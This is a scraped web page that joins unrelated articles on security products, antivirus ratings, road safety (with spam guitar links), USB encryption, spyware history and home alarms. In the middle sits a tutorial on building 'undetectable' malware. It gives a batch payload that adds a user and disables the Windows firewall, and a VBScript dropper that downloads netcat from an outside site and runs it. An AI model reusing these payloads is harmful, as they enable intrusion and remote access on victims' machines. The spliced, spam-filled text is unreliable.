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WhiteHat Security Complete Website Vulnerability Management

WhiteHat Sentinel runs assessments for the 24 Web Application Security Consortium (WASC) vulnerability classes such as Cross-Site Scripting, Directory Traversal, and SQL Injection. You can find explanations about these vulnerability classes in the Sentinel Glossary, located under the Resources tab.

The methods used by attackers to exploit vulnerabilities are constantly evolving; thus, part of the WhiteHat Sentinel Service includes ongoing refinement of testing patterns to ensure that Web applications are tested against the latest attack variations.

What is the difference between Threat and Severity?

Threat and Severity levels are standard ranking systems developed by the Payment Card Industry (PCI) Security Standards Council. Specifically, the severity level for a vulnerability measures the potential business impact if exploited,
and threat level indicates how easily it can be exploited.

How do I use the Web API?

The Sentinel Web API allows you to retrieve your own vulnerability, site, and and schedule information in XML format from WhiteHat. This data may then be integrated into your developer defect tracking systems or security information
management systems (SIMS). You can access the Web API instructions by logging on to Sentinel, clicking on the Resources tab, and selecting the API Reference link.

What are the hours of operation for Customer Support & Response Times?

Service Request Response Time: (Cases submitted/logged via the customer support portal during business hours: M-F, 6:00 AM – 7:00 PM PT

Standard Support – Next business day

Silver Support – 8 business hours

Gold Support – 1 hour – Critical (24×7), 4 hours – Serious

What is the difference between the executive summary and the full report?

The difference between the two reports is most apparent when comparing reports that include all sites. Both reports contain a graphical overview and vulnerability overview of vulnerabilities across all sites at once, as well as the WASC

vulnerability classifications and a Web security glossary.

The full report also includes per-site chapters with statistical graphs and vulnerability details for each site. This information is useful for developers to understand and fix the vulnerabilities in their custom code.

I ran a scan last night, but I have no vulnerabilities in my Findings page. Does that mean there are no vulnerabilities in my website?

Almost all Web applications have at least low-level vulnerabilities, so the complete lack of any findings on your interface after a scan has been completed usually means the vulnerabilities are being verified by human eyes. To prevent false positives, vulnerabilities only appear in your Findings page after they have been verified. The WhiteHat Operations team verifies vulnerabilities during normal business hours in Pacific Standard Time.

How can I make the scans go faster or slower?

Scan speeds can be increased by clicking on a site on the Sentinel interface, clicking the Settings submenu, and increasing the number of HTTP requests sent by the Sentinel scanner per second. By default, all scans are set at a medium speed, which is no more than four requests per second single threaded. The

Sentinel scanner requests will match the response times of the target website, so if your site contains pages that load slowly, this will effect the frequency of requests the scanner can make, which lengthens the overall scan time.

I just scheduled a scan to run until completion. How long is this scan going to take?

WhiteHat Sentinel scans run “low and slow”, meaning that scans are specifically designed to have no discernible effect on your website’s performance. The length of time it takes for a scheduled vulnerability assessment to complete depends on various factors, such as the number of pages to assess, the load time of each individual page, and the speed (number of requests per second) indicated in the site’s settings in Sentinel. Keep in mind that your first findings will not appear in your interface until after they have each been verified by a member of the Operations team.

Top Internet Security Software

How To Choose The Best

How does a web site go about choosing the top Internet security software? Well, there are oodles of magazines, rating sites, vendors, and testing shops that have their opinions. Plus, there are several operating systems, business versus home users, and various categories of testing that come into play.

Furthermore, the testing labs don’t test every product in every test they do. Sometimes they test the free version and sometimes the enterprise (big business) version. Sometimes vendors don’t want to be tested and ask to be left out. Other times, the lab’s rules will disqualify a product. All of this makes rating them very difficult.

In the end, there are just too many variables to look at, making it impossible to say something so general as, “Double Whammy Internet Security 2149 is the top Internet security software on the market”. So, what do we do???

Well, the target audience for this web site is the average, non-technical home user: grandmas, students, fantasy football addicts, etc. So, I’m coming from the perspective of a home user running Windows 7 (I hope you upgrade if you haven’t already but if you have XP, it’s OK) who wants to install something and then “fagetaboutit”. If that’s you then you’re in the right place.

The Big Three Testing Labs
What I do here is keep up with three of the large testing firms: AV-Test, AV-Comparatives, and Virus Bulletin. Yes, there are more of them but these three are sufficient for our purposes.

These guys do testing under various categories constantly, 24/7 under all kinds of situations that we may or may not ever see. If anyone is going to get close to what we all face every day on the Net, it’s them.

Now, they do different kinds of tests throughout the year such as, “Real-World Protection Tests”, “False Alarm Tests”, “Anti-Phishing Test” and so on. There’s no good way to boil all of these tests down into a single decision as to who is “best”. In my mind, the next best thing is to adjust a simple scoring method to the latest available tests from all three labs that most closely apply to our target audience, sprinkle some magical pixie dust on it and publish the “winners” as a constantly changing list on the home page.

Did you get all that? No? Well, don’t worry, here’s the bottom line:

I’ve applied the magic formula (full disclosure: it’s not really magic 🙂 to as many products as I could in a spreadsheet. I use the latest test available that fits our needs. So, if AV-Test comes out with a new test in July and that test would be applicable to our ratings, we just run the spreadsheet with the new ratings and see where the chips fall. So, the top Internet security software “winner” is always changing.

Even so, don’t put too much weight on any ratings, including those you find here. I would venture to say that if you chose any of the top three at any given time, you’d be as protected as you can reasonably expect to be. So, don’t get too wound up about it all. The really, really important point is to get something, install it and keep it updated (which it usually does itself).

Recommendations For Highway Safety flashdriveterrorism

One of the problems regarding discussing road safety is that you will not find many drivers who will admit to their own faults. You here drivers whine all the time about how bad other drivers are but do not think if they drive safely themselves. There are many benefits to driving in a conscientious way and these include avoiding physical harm and keeping the cost of your car insurance down. Here are some basic tips to check out that can help keep you accident free on the road.

Your first two key elements that contribute to accidents on the road are speed and distance. If we start with speed, the fact that when you drive too fast you are more likely to come to grief, is fairly obvious. Nevertheless whenever you speed without any caution, then you can put people in serious danger. You’ll notice clearly appropriate speeds that we need to conform to but often drivers fail to adapt based on where they are driving and the actual conditions of the day. As an example, on a nice sunny day on a vacant road, cruising at a fairly high speed can be enjoyable and pretty safe. However, weather circumstances such as rain, snow and fog can drastically change the speed at which it is safe to go.

If we are aware that driving too fast is based on the conditions on the road, then what about distance? There are guidelines in place that state how much distance we need to keep between ourselves and the car in front and yet you see so many drivers who seem drawn to the rear of the vehicle before them. This situation occurs when people are rushing to get somewhere. There’s a misconception that tailgating the vehicle in front of you will get you anyplace faster. It is incorrect to imagine that the unanticipated won’t happen to you, so what you need to consider is if the car in front has a blow out, are you in a position to stop safely.

The condition of your car can be easily forgotten or overlooked. Performing routine car maintenance is an important part of car safety. Guild F-50 Standard Acoustic Guitar Review, http://www.cheapguitarshq.com/marshall-2203kk-kerry-king-signature-jcm800-amp-review, and http://www.cheapguitarshq.com/fishman-afx-acoustic-guitar-effects-pedal-reviews. Right here, right now! Getting the tires and brakes in great shape will insure safe driving during dangerous road conditions. The money necessary for car maintenance can be a hassle for some but it is worth budgeting for this as it is not only your own safety but that of your family and other road users that is at risk.

If everybody drives very carefully and considerately, then everyone is going to have a safe driving experience. The most important thing is to get to the place you need to go safely. It is very important that you focus your attention on your driving and cut down on distractions such as eating on the go or endeavoring to read something casually. You will avoid serious accidents on the highway if you follow these tips.

How To Password Protect USB Drive Using 3 Simple Ways

How To Password Protect USB Drive: 3 Easy Ways

We are now in the age when everything around us gets smaller, more compact, portable and easily transferrable. At the forefront is a USB (Universal Serial Bus) thumb drive. It is a small and portable storage device which is compatible with almost every technological device or gadget known to man. As its name implies, it’s universal and can be used with practically any device with USB ports. With these features, it’s easily the top choice for many. It comes in variety of shapes and sizes. Due to its compact size, one can easily lose or misplace it. It’s very risky especially if it contains sensitive and confidential data.

That’s where a call for data protection and security come to play. Needless to say, it’s imperative to protect your data and its storage. Commonly, putting a password to your USB drive is the way to go. But it’s not as easy as it sounds. It’s not like creating a password for your Facebook Account.

Password protecting or encrypting your USB drives entails the use of various tools, unless you want to go an easier route and shell out a few dollars then buy a secure flash drive with hardware encryption.

How To Password Protect USB Drive?

As discussed earlier, the surest way to protect your data is through encryption. But it costs a few extra dollars, so an alternate is to put a password on your files instead. Especially, if you don’t intend to password protect the entire USB drive, you may also want to sort your files from sensitive which need protection and those that are not.

Manually Save Files With a Password

As mentioned above, you can’t safely password protect your entire USB stick without using encryption. However, if you shy away from the time consuming encryption process of entire folders and need a really quick way to only protect a few selected files, maybe you can simply save those with a USB password.

Windows programs like MS Word and Excel provide an option to save your work with a password.

In MS Word, you need to go Tools > Options and Security tab. It will let you key in your preferred Password which will be used to open such file. See image below.

Many programs, including Word and Excel, allow you to save files with a password. For example in Word, while the document is open, go to > Tools > Options and switch to the Security tab. Now enter a Password to open, click OK, re-enter the password when asked, and finally save your document and don’t forget the password.

Create An Encrypted & Password Protected Partition With Rohos Mini Drive:

Various encryption tools abound. However, most of them require Administrator rights to install and use them. An example of this is TrueCrypt, this may not appeal to users who do not have administrator rights. Rohos Mini Drive, on the other hand, does away with requiring users to have Administrator rights. Its free version can be used to create a hidden and password protected partition of up to 2GB in your USB drive. It utilizes automatic on-the-fly encryption with AES 256 bit key length. It’s easy to use feature lets users encrypt their USB drives and use it to any device.

Rohos Mini Drive, You can access it via Rohos Mini.exe icon from the root folder. You just have to key in your password and instantly Rohos disk will be mounted and accessible via your Computer. To disconnect your encrypted USB drive, just right-click the Rohos icon from the Windows taskbar notification area and select Disconnect.

Lock Your Flash Drive with USB Safeguard:

Aside from Rohos Mini Drive, there’s another popular USB encryption for Password Protect USB Drive, choice which is called USB Safeguard. It is described as your friendly portable app that runs directly from your flash drive which doesn’t require Administrator rights to use. It utilizes on-the-fly AES 256 bit encryption. However, its storage capacity is limited only to 2GB for free version.

Get it by downloading the app usbsafeguard.exe and save it to your USB flash drive. You will be prompted for a password when running it the first time. That password will be used when accessing your USB drive so, better keep that in mind. It’s simple and very self-explanatory, unlock it when in use and then lock it when done with it. Refer to the image below.

How to Create a New Undetectable Virus in 3 Easy Steps

This article will demonstrate how an average PC user can create a piece of malicious software in minutes that will be undetected by all the major anti-malware scanning engines.

This article is for informational purposes only and the author disclaims any responsibility for your use or misuse of any of the information contained herein.

It is well-known in blackhat circles that a new piece of malware, coded from scratch, will almost always bypass signature-based malware scanners. What is less known is that the skill needed to do this is minimal at best – an average user with no programming experience can cut and paste a few lines of code together and create a undetected malicious executable in 3 easy steps.

Most anti-virus scanners rely on a database of signatures for known viruses. Once a new virus is spread wide enough that it has been identified as malicious, the anti-virus vendors scramble to come up with a fingerprint to identify that strain of malware in the future. The obvious flaw in this process is that a new piece of malware will bypass the scanners by default, until it is widespread enough to be noticed by security researchers or picked up by a dummy node. There is always a window of opportunity for new malware between the time of deployment and the update of the signature databases and as recent malware trends demonstrate, this window is large enough to make a profit for the authors.

Roll-your-own undetected malware in 3 easy steps!

Step 1: Commands to execute

Here we compile the DOS commands that our malware will execute into a DOS batch file. As a simple proof of concept, let’s add a new user, disable the XP firewall, and create a directory on the C drive.

@echo off
net user hacksafe hacksafe /add
net stop “Security Center”
net stop SharedAccess
netsh firewall set opmode mode=disable
mkdir c:\haxed

Save the above as a filename.bat

Step 2: Compile to an executable

Experienced DOS users may remember a number of utilities that were able to convert a batch file into an executable (com or exe). These tools basically wrap a shell call around each of our commands and bundle the whole thing up into a tiny .exe file. One of the most well known is BAT2EXEC released by PC Magazine in 1990.

Our tiny executable COM file is ready to go.

Step 3: Test and Deploy

We now have a custom executable that runs some obvoiusly malicious commands: disabling the firewall and adding a new user. If we were to email this file to a target, surely any modern anti-virus scanner would pick this up as a simple batch file and alert us to the malicious code… right?

No patterns exist for this new piece of malware – it’s unrecognised by signature-based scanners. Heuristics and sandboxing may alert to suspicious activity, or email filtering may prevent our executable from reaching the target, but the primary mechanism of anti-malware protection has been defeated in a matter of seconds with little knowledge or skill on the part of the attacker. If the target user were to run our executable, the only indication of malicious activity would be a command prompt quickly appearing and disappearing on the desktop.

Step 4 (Optional):

A typical malware author would take the created executable and mangle it in various ways to make it harder to detect – using tools such as encrypters, packers, scramblers and EXE binders. The malicious code may be bundled with a legitimate executable, or packed with a rootkit or other remote access utility. For more information on how malware authors avoid detection, check out our article on packers and scramblers.

Example: Creating a simple dropper

A dropper is a small piece of malware designed to “drop” another peice of malware onto a system. It usually comes in the form of a simple executable that, when executed, retrieves a file from a hardcoded web or ftp site and executes it (usually a rootkit or botnet suite).

As a proof of concept, we can create a simple dropper using VBscript in a batch file that pulls down a copy of netcat from the Hacksafe site and executes it:

echo Dim DataBin >hacksafe.vbs
echo Dim HTTPGET >>hacksafe.vbs
echo Set HTTPGET = CreateObject(”Microsoft.XMLHTTP”) >>hacksafe.vbs
echo HTTPGET.Open “GET”, “http://www.hacksafe.com.au/nc.exe“, False>>hacksafe.vbs
echo HTTPGET.Send >>hacksafe.vbs
echo DataBin = HTTPGET.ResponseBody >>hacksafe.vbs
echo Const adTypeBinary=1 >>hacksafe.vbs
echo Const adSaveCreateOverWrite=2 >>hacksafe.vbs
echo Dim test1 >>hacksafe.vbs
echo Set test1 = CreateObject(”ADODB.Stream”) >>hacksafe.vbs
echo test1.Type = adTypeBinary >>hacksafe.vbs
echo test1.Open >>hacksafe.vbs
echo test1.Write DataBin >>hacksafe.vbs
echo test1.SaveToFile “malware.exe”, adSaveCreateOverWrite >>hacksafe.vbs
hacksafe.vbs
malware.exe -h

We compile using one of the many bat conversion utilities – Bat-to-Exe Converter 1.1. (This utility packs the output file using UPX, which may cause some anti-virus scanners to flag the file as potentially suspicious).

After creating our simple dropper.exe we submit it for scan:

Nothing found. It would be trivial to include the firewall disable command from the previous example and configure a netcat command line to listen on an incoming port and spawn a command shell. A new, undetected yet incredibly simple and obvious, remote access trojan!

It is hoped that this article serves to demonstrate the fundamental flaw of signature-based malware detection systems.

Some additional points to consider:

A .COM file under 64kb can be renamed to an .EXE (or .scr, or .lnk, etc) and will still execute.

Heuristics and behaviour analysis may detect malicious activity.

The examples above assume XP sp2 and the user has local admin privileges.

Many bat2exe utilities use a packer or scrambler that is recognised by signatures.

Anyone with programming experience can see that the above can be achieved using execve(), system().

This is old, old news. People were hacking BBS’s using BAT2EXE in the early 90’s!

History of Internet Security

By 2000, a new type of threat was infecting our beloved computing devices–spyware.

With the dotcom bubble bursting and spewing financial losses all over everyone (yuck), you’d think that spyware wouldn’t be such a big deal. But it was new. And new is always interesting. Oh, and it meant that more money would be made. Long live capitalism!

I could just regurgitate the “History of Spyware” articles on the Net but instead I’ll quote a Lavasoft support page. Lavasoft is a Swedish based company founded (by Germans) in 1999 and was one of the first companies in the history of Internet security to produce antispyware software. Theirs is named Ad-Aware. They are still one of the best around.

“Virtually everyone with a computer has now heard of spyware, but where and when did it rear its ugly head for the first time? Here is a little history…

The word ‘spyware’ was used for the first time publicly in October 1995. It popped up on Usenet (a distributed Internet discussion system in which users post e-mail like messages) in an article aimed at Microsoft’s business model. In the years that followed though, spyware often referred to ‘snoop equipment’ such as tiny, hidden cameras. It re-appeared in a news release for a personal firewall product in early 2000, marking the beginning of the modern usage of the word.

In 1999, Steve Gibson of Gibson Research detected advertising software on his computer and suspected it was actually stealing his confidential information. The so-called adware had been covertly installed and was difficult to remove, so he decided to counter-attack and develop the first ever anti-spyware program, OptOut.

That’s where Lavasoft picked up and Gibson left off. He went on to other projects and Lavasoft became a pioneer in the anti-spyware industry with its signature free, downloadable product Ad-Aware. Lavasoft’s paid products soon followed and it is now the anti-spyware provider for 300 million computer users worldwide today.”

Source: http://www.lavasoft.com/support/spywareeducationcenter/spyware_history.php

In the history of Internet security, spyware and its ugly little sister, adware, also fall under the malware heading if they have malicious intent.

It all started with pop up windows. Oh sure, they were novel and harmless at first. We stared in awe at our monitors at the shiny ads. But then another one popped up, then another, and another.

And then we started to wonder if these things were breeding. My monitor became a pop up petri dish! For those old enough to remember the most popular Star Trek episode of all time, “The Trouble With Tribbles”, was starting to feel very familiar. These annoying things persist today and all kinds of software has been made to block them.

Microsoft (who incidentally is part of the New World Order, I’m just not sure how yet) released the infamous Internet Explorer web browser. Then, in their infinite wisdom, they created the BHO, Browser Helper Object.

This fancy feature allowed other programs to do anything the browser could do such as install a virus or infect your PC with spyware. Usually a program did this by presenting you with a pop up window and tricked you into clicking on it. Then, BAM, now you need antispyware software.

Have you seen the pop ups that look like official Windows messages like this?

Yeah, you shouldn’t click on that–it’s spyware. It probably won’t be this obvious though.

Technically, in the history of Internet security, these early spyware threats were adware. They didn’t necessarily do bad things; they just try to sell you something most of the time.

But where there’s smoke, there’s fire and some unseemly types just couldn’t resist using pop ups to infect you with something nasty along the way. The history of Internet security is full of the good, the bad, and the ugly. Nowadays, we have drive by installs. All you have to do is VISIT a site to get infected. Great, huh? They just get better and better.

Spyware doesn’t usually replicate itself like a virus. It’s main purpose is to, well, spy on you. But it goes further than that. Spyware can and does the following:

change your home page
re-direct you to gambling or porn sites
change privacy and security settings
install dozens of bookmarks or shortcuts you didn’t ask for
logs the web sites you visit for the purpose of presenting targeted ads to you
uses up many of your system’s resources
steal your user and password info for banking and merchants
lots of other unwanted stuff

Effects of Malware

Malware is malicious software. Some types of malware include viruses, spyware, and trojans. Malware is one of the biggest threats to computers in the modern day. A virus can attack anything in a PC, for example, a browser by redirecting any search term. It can track the sites that you visit, source unwanted pop-up ads, or any other related inconvenience. Also since malware is often not programmed competently, it can slow down the speed of a PC significantly.

Malware often re-installs itself even after you remove them from your PC, sometimes they hide deep into windows program, thereby making it impossible to clean up. There are diverse vaieties of malware along with preventive measures that you can take to save yourself from getting infected.

Although there are so many ways a PC can get viruses, the most common way results from programs being download and installed whether you did so intentionally or not. For example one way they can be installed is by accidentally clicking pop-up ads, which then redirects you to the program download. When an unanticipated website popup occurs that requests the installation of an application, this application is often times malware. Additionally, internet explorer also has many vulnerabilities which viruses often take advantage of to install malware on the users computer without their knowledge.

It is easier to infect a PC with malware than it is to remove the infection. Can Antivirus software detect malware? For a long time, antivirus engines have been fighting against malware by consistently releasing updates in order to combat the new creations of malware providers. While some AV’s provide protection against well known malware, newer malware still often evades the AV without any detection at all.

If you want to prevent getting infected from malware, it is better to periodically scan your computer with an anti-malware solution such as Malwarebytes rather than use an antivirus. Antivirus software do not do a very good job removing newer malware or even variations of the same old malware. It is also common practice for malware authors to FUD or undetect their malware from common AV’s to prevent detection. Sometimes they will do this manually or will use an fud crypter to do this.

Other types of malware

There are many types of malware and each type of malware is often categorized in one of the following categories: spyware, hijackers, adware, trojans, backdoors, RATs, keyloggers, bootkits, rootkits, and stealers. The general term that classifies all of these types of categories is “malware”, which basically means “malicious software”. In fact, in hacking forums or security blogs, often use words such as malware, viruses, adware and spyware interchangeably even though they are sometimes inaccurately used in the context.

Adware and spyware – these type of malware specifically source ads on your screen. These ads can be in the form of embedded into websites, pop-ups, or pop-unders. It will depend on how the author wants to display the website. This type of malware is often less harmless then it is an annoyance unless it effectively obtains personally identifiable information for third parties, in which case, it could be quite dangerous.

Vivint Security System

Vivint Incorporated has been doing business since 1999 providing services to over 500,000 satisfied customers. Vivint Security System is just one of the products that they offer. They also provide home energy solutions and they are one of the largest home automation companies operating throughout North America and Canada.

The Vivint Incorporated Mission

Their mission is to offer simple and affordable home automation and security systems. They have put together products that work together to not only provide safety and security but improve energy efficiency in the home. This is accomplished by combining the Vivint security system and the Vivint Go! Control panel with technology most homeowners already have.

Add-On Packages

The homeowner can install the basic Vivint Security system then build upon it of mix and match their other products when they are ready. Their smart technology enhances security, increases energy efficiency and creates simple and affordable home automation solutions for their costumers. Help save the planet and save money on your monthly utility bill with their energy package

Simple & Affordable

In the end the homeowner can have a home automation system that will simplify their life as well as save them time and money. With the Vivint Go! Control panel their streamlined network of products easily connects the home’s security, HVAC, lighting, small appliances, video and more. The customer can monitor and activate any of the connected systems from anywhere in the world.

For one low fee the customer will receive:

Door & Window Sensors
Motion Detector
Key Fob
Smart Thermostat
Lamp & Small Appliance Control
Energy Efficient Flourescent Light Bulbs
Video Camera
Auto Door Lock
Yard Sign
Their satisfied customers have remarked on how easy-to-use the wireless, touch screen control panel is and how impressed they have been with the customer service and world class monitoring system. If the alarm is tripped by an intruder the homeowner is contacted immediately through their two way voice feature on the panel.

Another great feature of the Vivint Security System is that it is completely wireless. They don’t utilize phone lines which are easy for intruders to cut, everything communicates by using cell signals. In the event an intruder should cut off the utilities the alarm will still go off. In one instance an intruder had broken into a home and triggered the alarm. While the alarm was sounding the intruder pulled the panel off the wall. To his dismay the alarm continued to sound.

Customers have also noted that they liked the ability to build their own package. They also liked the freedom to add or subtract products to create their own personal package tailored to the specific needs of their home.

Anyone who wants to have a home that is a fully automated smart home that is also safe, secure and energy efficient should look into the Vivint line of home automation products. Vivint customers have given their company, customer service and products high reviews.

Home Security Products That Can Meet Budget

There’s a good reason as to why you should have your chosen home security products in mind before you start shopping, and that’s because there really is no end to the number of products and gadgets you can purchase. If you have an unlimited budget and an understanding spouse, then by all means, go for it. But for most people, being in a home security products store can be like a kid in a candy store – your eyes get big, you start drooling, and then next thing you know you walk out of there with far too many things you don’t need.

To keep you from making that mistake, here is a basic list of the most commonly chosen home security products on the market and their use.

Alarms

An alarm system is pretty straightforward; you hook it up to doors and windows and then it either uses a wire or a wireless signal that connects to the keypad. When the alarm is activated, anything that breaks that signal causes the alarm to be tripped.

Some persons on a limited budget or who live in apartments where they can’t install this type of home security product still have many options open to them. Standalone alarms come in a variety of models. For example, there are some that you attach to a door or window and which use a signal between two pieces. If that signal is broken by someone opening the window or door, an alarm is sounded. There is also another type called a doorstop alarm; this looks something like a regular doorstop with a little “tongue” that slide partway under the door, with an alarm mechanism behind it. If the door is opened just a little bit, it will hit that alarm mechanism and cause it to be sounded. These types of small, inexpensive home security products are great options for those who don’t want to invest a lot of money or who may be intimated by complete alarm systems.

Cameras

Closed circuit cameras are fast becoming very commonly used home security products, as they are becoming more and more affordable. They are easy to install and can be wired or send a wireless signal to virtually any VCR or DVR, or can send a signal to an internet address so that you can log on and view the live feed. Anyone interested in keeping an eye on their home when they’re not away will appreciate this type of home security product, especially if you have children or elderly relatives that are home while you’re at work and need that extra monitoring.

Some have even found that fake cameras work great as home security products. They come with a wire and a little red light that makes them look very real. Of course, they’re not as good as a real alarm as they serve little purpose if someone does actually break in, but can still be a deterrent to any would-be thief.